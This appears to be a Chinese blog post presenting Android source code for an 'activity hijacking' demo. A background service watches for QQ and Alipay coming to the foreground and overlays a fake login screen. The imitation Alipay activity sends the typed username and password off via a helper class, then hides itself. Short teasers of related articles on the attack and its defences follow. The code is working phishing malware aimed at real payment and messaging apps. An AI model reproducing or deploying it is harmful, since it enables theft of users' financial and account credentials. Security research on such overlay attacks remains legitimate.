package com.sinaapp.msdxblog.android.activityhijacking.service;
import java.util.HashMap;
import java.util.List;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;
import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;
/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class HijackingService extends Service {
private boolean hasStart = false;
// 这是一个悲伤的故事……
HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();
// Timer mTimer = new Timer();
Handler handler = new Handler();
Runnable mTask = new Runnable() {
@Override
public void run() {
ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
List<RunningAppProcessInfo> appProcessInfos = activityManager
.getRunningAppProcesses();
// 枚举进程
Log.w("hijacking", "正在枚举进程");
for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
// 如果APP在前台,那么——悲伤的故事就要来了
if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
if (mSadStories.containsKey(appProcessInfo.processName)) {
// 进行劫持
hijacking(appProcessInfo.processName);
} else {
Log.w("hijacking", appProcessInfo.processName);
}
}
}
handler.postDelayed(mTask, 1000);
}
/**
* 进行劫持
* @param processName
*/
private void hijacking(String processName) {
Log.w("hijacking", "有程序要悲剧了……");
if (((HijackingApplication) getApplication())
.hasProgressBeHijacked(processName) == false) {
Log.w("hijacking", "悲剧正在发生");
Intent jackingIsComing = new Intent(getBaseContext(),
mSadStories.get(processName));
jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(jackingIsComing);
((HijackingApplication) getApplication())
.addProgressHijacked(processName);
Log.w("hijacking", "已经劫持");
}
}
};
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
if (!hasStart) {
mSadStories.put("com.sinaapp.msdxblog.android.lol",
JokeActivity.class);
mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
mSadStories.put("com.eg.android.AlipayGphone",
AlipayStoryActivity.class);
handler.postDelayed(mTask, 1000);
hasStart = true;
}
}
@Override
public boolean stopService(Intent name) {
hasStart = false;
Log.w("hijacking", "劫持服务停止");
((HijackingApplication) getApplication()).clearProgressHijacked();
return super.stopService(name);
}
}
下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。
Java代码 收藏代码
/*
* @(#)QQStoryActivity.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;
import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Html;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;
/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class AlipayStoryActivity extends Activity {
private EditText name;
private EditText password;
private Button mBtAlipay;
private Button mBtTaobao;
private Button mBtRegister;
private TextView mTvFindpswd;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setTheme(android.R.style.Theme_NoTitleBar);
setContentView(R.layout.alipay);
mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
mTvFindpswd.setText(Html.fromHtml("
找回登录密码"));
mBtAlipay.setSelected(true);
name = (EditText) findViewById(R.id.input_name);
password = (EditText) findViewById(R.id.input_password);
}
public void onButtonClicked(View v) {
switch (v.getId()) {
case R.id.alipay_bt_login:
HandlerThread handlerThread = new HandlerThread("send");
handlerThread.start();
new Handler(handlerThread.getLooper()).post(new Runnable() {
@Override
public void run() {
// 发送获取到的用户密码
SendUtil.sendInfo(name.getText().toString(), password
.getText().toString(), "支付宝");
}
});
moveTaskToBack(true);
break;
case R.id.alipay_bt_alipay:
chooseToAlipay();
break;
case R.id.alipay_bt_taobao:
chooseToTaobao();
break;
default:
break;
}
}
private void chooseToAlipay() {
mBtAlipay.setSelected(true);
mBtTaobao.setSelected(false);
name.setHint(R.string.alipay_name_alipay_hint);
mTvFindpswd.setVisibility(View.VISIBLE);
mBtRegister.setVisibility(View.VISIBLE);
}
private void chooseToTaobao() {
mBtAlipay.setSelected(false);
mBtTaobao.setSelected(true);
name.setHint(R.string.alipay_name_taobao_hint);
mTvFindpswd.setVisibility(View.GONE);
mBtRegister.setVisibility(View.GONE);
}
}
分享到:
相关推荐
【标题】:“activity劫持”是指在Android操作系统中,攻击者通过恶意手段干扰或篡改应用程序(App)的Activity启动过程,以达到控制用户界面、窃取敏感信息或执行恶意操作的目的。这种攻击方式通常利用了Android...
安全建议:Activity劫持通常依靠注册Receiver响应android.intent.action.BOOT_COMPLETED事件。客户端程序可以在启动前检查Receiver并报警;由于Activity界面劫持攻击通常是将自己的页面附着在客户端之上,因此需要...
然而,由于Android的开放性,Activity可能会遭受恶意攻击,其中一种常见的方式就是Activity劫持。这通常发生在恶意应用通过不当手段获取到目标应用的Activity启动意图(Intent)后,提前启动或插入到目标Activity的...
`Android Hook Activity 启动劫持`是一种高级技术,它允许开发者利用动态代理(Dynamic Proxy)技术来拦截并控制AMS的行为,从而在不修改系统源码的情况下,实现对Activity启动流程的监控或修改。 首先,我们需要...
首先,了解Activity劫持的基本原理。攻击者通常通过动态加载恶意代码或者利用系统漏洞,篡改Activity的生命周期方法,例如`onCreate()`, `onResume()`等,来控制或干扰应用的正常显示和行为。为了解决这个问题,...
什么是 Activity 劫持 Android 为了提高用户的用户体验,对于不同的应用程序之间的切换,基本上是无缝。举一个例子,用户打开安卓手机上的某一应用例如支付宝,进入到登陆页面,这时恶意软件检测到用户的这一动作,...
然而,随着移动应用的普及,安全问题日益凸显,其中Activity劫持和二次打包是开发者需要特别关注的问题。`ActivitySafeFloat`项目就是为了应对这些问题而设计的一个解决方案。 首先,我们来了解一下什么是Activity...
在Android操作系统中,"屏幕劫持"是一种技术,它涉及到应用程序获取对用户界面的控制,以便在用户不知情或未授权的情况下显示自定义内容。这种行为可能会被恶意应用利用,以进行欺诈、窃取信息或其他恶意操作。...
为了防止恶意程序的Activity劫持,开发者应谨慎配置权限,并确保敏感Activity不被恶意覆盖。 2. Content Provider安全:内容提供者允许数据在应用间共享,但也可能成为攻击目标。开发者应设定适当的读写权限,并对...
### 二、Android Activity劫持技术 #### 1. 技术原理 - 通过监听正在运行的进程,当指定的目标应用处于前台运行状态时,触发恶意活动(Activity)的启动,从而欺骗用户输入账户密码等敏感信息。 - 示例代码中展示了一...
* 事中:检测是否有activity劫持的情况,并提示用户。 * 事后:利用用户画像,对钓鱼盗号的登录行为进行判别,阻止盗号者登录。 三、互联网金融-业务安全 业务安全是互联网金融安全的核心组成部分。互联网金融类...
EasyRouter实现了通过字符串进行Activity之间跳转路由,通过APT在编译器实现路由表的构建,劫持了startActivity()进行动态路由 EasyRouter实现了Activity之间跳转,返回时的数据自动注入,完全屏蔽了原生的一套繁琐...
- **其他工具**:apktool 和 activity 劫持测试工具等。 #### 三、客户端程序安全 客户端程序的安全性是确保APP整体安全性的基础。本文档主要关注以下三个方面: 1. **安装包签名** - **描述**:在 Android 中,...
在压缩包中的“HijackActivity.apk”可能是一个示例应用或者测试目标,它可能包含了一些预设的活动(Activity)或者服务(Service),用于演示如何被劫持以及劫持后的影响。使用此工具,用户可以了解自己的APP在面临...
Android系统的设计允许应用程序通过组件相互交互,如Activity、Service、BroadcastReceiver和ContentProvider等。这种组件化的架构虽然提高了灵活性,但也使得恶意软件有机会滥用公开的组件,执行未授权的操作,从而...